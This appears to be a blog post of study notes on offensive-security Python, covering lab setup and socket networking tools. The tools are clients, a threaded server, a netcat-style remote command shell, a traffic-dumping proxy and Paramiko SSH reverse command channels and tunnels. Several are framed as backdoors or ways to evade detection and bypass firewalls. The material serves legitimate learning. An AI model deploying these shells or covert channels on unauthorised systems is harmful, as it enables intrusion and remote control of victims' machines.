Python For Offensive Security

Chapter 1: Setting Up Your Python Environment

Main takeaways only:

  • Set up a virtualized lab environment (VMware / VirtualBox / Hyper-V)
  • Prepare a Windows 10 VM for Windows-specific chapters
  • Install Kali Linux as the primary attack VM
  • Fully update Kali using apt update, upgrade, dist-upgrade, autoremove

Python Setup

  • Use Python 3.6+ (default Kali Python may still be Python 2)
  • Verify with python3
  • Upgrade Python 3 if required

Virtual Environment (Critical)

  • Install python3-venv
  • Create isolated project environment:
    • python3 -m venv venv3
    • source venv3/bin/activate
  • Keep dependencies separated per project
  • Use pip inside virtual environments only

Package Management

  • Install libraries using pip install
  • Example: pip install lxml
  • Validate installation via Python shell

IDE Setup

  • Recommended IDEs:
    • PyCharm
    • Visual Studio Code
    • WingIDE
  • VS Code installable directly on Kali via apt

Code Hygiene

  • Follow PEP 8 coding style
  • Organize code in this order:
    • Imports (alphabetical)
    • Functions
    • Classes
    • if __name__ == "__main__":
  • Write reusable, clean, readable code
  • Avoid generic variable names

Chapter 2 – Basic Networking Tools

Purpose of This Chapter

  • Use Python for networking when common tools are unavailable
  • Rely on the socket module
  • Build:
    • TCP & UDP clients
    • TCP server
    • Netcat replacement
    • TCP proxy
    • SSH tools with Paramiko
    • SSH tunneling

Python Networking Basics

  • Core module: socket
  • Supports:
    • TCP
    • UDP
    • Raw sockets
  • Enough for:
    • Recon
    • Exploitation
    • Post-exploitation access

TCP Client

Use cases

  • Service testing
  • Banner grabbing
  • Fuzzing
  • Sending arbitrary data

Key points

  • AF_INET → IPv4
  • SOCK_STREAM → TCP
  • Workflow:
    1. Create socket
    2. Connect
    3. Send bytes
    4. Receive response
    5. Close socket

Assumptions

  • Connection succeeds
  • Server expects client to send first
  • Blocking sockets
  • Minimal error handling (intentional)

UDP Client

Differences from TCP

  • Uses SOCK_DGRAM
  • No connect()
  • Uses sendto() and recvfrom()
  • Connectionless communication

Returns

  • Data
  • Sender address and port

TCP Server

Use cases

  • Command shells
  • Proxies
  • Listeners

Design

  • Multithreaded
  • Accepts multiple clients
  • Each client handled in a new thread

Core flow

  1. Bind IP and port
  2. Listen
  3. Accept connection
  4. Spawn thread
  5. Receive data
  6. Send response

Netcat Replacement (BHNET)

Purpose

  • Replace netcat when unavailable
  • Enable:
    • File upload
    • Command execution
    • Interactive shell

Core Components

execute() Function

  • Runs system commands
  • Uses:
    • subprocess
    • shlex
  • Returns command output

Command-Line Interface (argparse)

Options

  • -l → listen mode
  • -c → command shell
  • -e → execute command
  • -u → upload file
  • -t → target IP
  • -p → port

NetCat Class

Responsibilities

  • Socket creation
  • Decide mode:
    • Listener
    • Client

Client Mode (send)

  • Connects to target
  • Sends initial buffer
  • Interactive loop:
    • Receive output
    • Send user input
  • CTRL+C exits cleanly

Listener Mode (listen)

  • Binds to IP and port
  • Accepts connections
  • Spawns handler threads

Handler Logic

Executes based on argument:

  • -e → execute command
  • -u → receive file and save
  • -c → interactive shell

Shell behavior

  • Waits for newline (\n)
  • Executes commands
  • Returns output

TCP Proxy

Why Use a Proxy

  • Inspect traffic
  • Modify packets
  • Analyze unknown protocols
  • Pivot through networks

Core Functions

hexdump()

  • Displays:
    • Hexadecimal bytes
    • Printable ASCII
  • Used for protocol analysis

receive_from()

  • Reads data with timeout
  • Accumulates response
  • Returns raw bytes

Packet Modifiers

  • request_handler()
  • response_handler()
  • Used for:
    • Fuzzing
    • Credential manipulation
    • Payload modification

proxy_handler()

  • Connects client ↔ remote host
  • Manages bidirectional traffic
  • Dumps packets
  • Applies handlers
  • Closes connections when finished

server_loop()

  • Listens on local port
  • Accepts connections
  • Launches proxy threads

SSH with Paramiko

Why Paramiko

  • SSH support in Python
  • Useful when SSH client/server is missing
  • Encrypts traffic

SSH Command Execution

  • Connects to SSH server
  • Executes single command
  • Prints output
  • Uses password authentication (keys supported)

Reverse SSH Command Execution

  • SSH client executes commands sent by server
  • Useful for Windows systems
  • Server sends commands
  • Client executes and returns output

SSH Server with Paramiko

  • Custom SSH server
  • Authenticates client
  • Sends commands interactively
  • Receives execution output

SSH Tunneling

Forward SSH Tunnel

  • Local port → SSH server → internal service
  • Example:
    • Local 8008 → remote web server 80

Reverse SSH Tunnel

  • Client connects outward
  • Exposes internal service through SSH server
  • Ideal for restricted networks

Paramiko rforward.py

  • Uses:
    • Transport
    • Channels
  • Forwards traffic securely
  • No modification needed (ready-to-use)

Example:

1) TCP Client (service test / banner grab)

import socket

# Create TCP socket (IPv4 + TCP)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to target service
client.connect(("example.com", 80))

# Send raw bytes (HTTP request)
client.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")

# Receive response (blocking)
response = client.recv(4096)

print(response.decode())
client.close()

Why it matters

  • Replaces tools like nc, curl
  • Used for fuzzing, probing services, exploitation

2) UDP Client (connectionless packets)

import socket

# UDP socket
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Send packet (no connect)
client.sendto(b"PING", ("127.0.0.1", 9999))

# Receive response + sender info
data, addr = client.recvfrom(4096)

print(data.decode(), addr)
client.close()

Why it matters

  • Used for DNS, SNMP, custom protocols
  • No handshake, faster but unreliable

3) TCP Server (listener / shell base)

import socket
import threading

def handle_client(sock):
    data = sock.recv(1024)        # Receive client data
    sock.send(b"ACK")             # Respond
    sock.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 9998))    # Listen on all interfaces
server.listen(5)

while True:
    client, addr = server.accept()     # New connection
    threading.Thread(
        target=handle_client,
        args=(client,)
    ).start()

Why it matters

  • Foundation for:
    • Backdoors
    • Command shells
    • Proxies

4) Netcat Replacement – Command Execution Core

Execute system command

import subprocess
import shlex

def execute(cmd):
    return subprocess.check_output(
        shlex.split(cmd),
        stderr=subprocess.STDOUT
    )

Why it matters

  • Executes OS commands safely
  • Core of remote shells

Client send loop (interactive)

# Connect to listener
sock.connect((target, port))

while True:
    response = sock.recv(4096)
    print(response.decode())

    cmd = input("> ") + "\n"
    sock.send(cmd.encode())

Why it matters

  • Mimics nc target port
  • Interactive remote control

Listener shell handler

while True:
    sock.send(b"BHP> ")
    cmd = sock.recv(1024).decode()
    output = execute(cmd)
    sock.send(output)

Why it matters

  • Fully interactive remote shell
  • Works with real netcat clients

5) TCP Proxy (traffic inspection)

Hexdump (packet visibility)

def hexdump(data):
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hexstr = " ".join(f"{b:02x}" for b in chunk)
        ascii_ = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
        print(f"{i:04x}  {hexstr:<48}  {ascii_}")

Why it matters

  • View credentials
  • Understand unknown protocols

Receive helper

def receive_from(sock):
    sock.settimeout(5)
    data = b""
    try:
        while True:
            part = sock.recv(4096)
            if not part:
                break
            data += part
    except:
        pass
    return data

Proxy handler (core logic)

# Client <-> Proxy <-> Remote
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((rhost, rport))

while True:
    local_data = receive_from(client)
    if local_data:
        hexdump(local_data)
        remote.send(local_data)

    remote_data = receive_from(remote)
    if remote_data:
        hexdump(remote_data)
        client.send(remote_data)

Why it matters

  • MITM traffic
  • Modify requests/responses
  • Network pivoting

6) SSH Command Execution (Paramiko)

import paramiko

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(
    hostname="192.168.1.10",
    username="user",
    password="pass"
)

stdin, stdout, stderr = client.exec_command("id")
print(stdout.read().decode())

client.close()

Why it matters

  • Encrypted remote execution
  • Avoids detection vs plaintext shells

7) Reverse SSH Command Channel (Windows-friendly)

# Receive command over SSH channel
cmd = chan.recv(1024).decode()

# Execute locally
output = subprocess.check_output(cmd, shell=True)

# Send back result
chan.send(output)

Why it matters

  • Server controls client
  • Ideal for restricted Windows targets

8) SSH Reverse Tunnel (concept code)

# Forward remote port -> internal service
transport.request_port_forward('', 8080)

Why it matters

  • Access internal services
  • Bypass segmentation & firewalls

Leave a Reply

Your email address will not be published. Required fields are marked *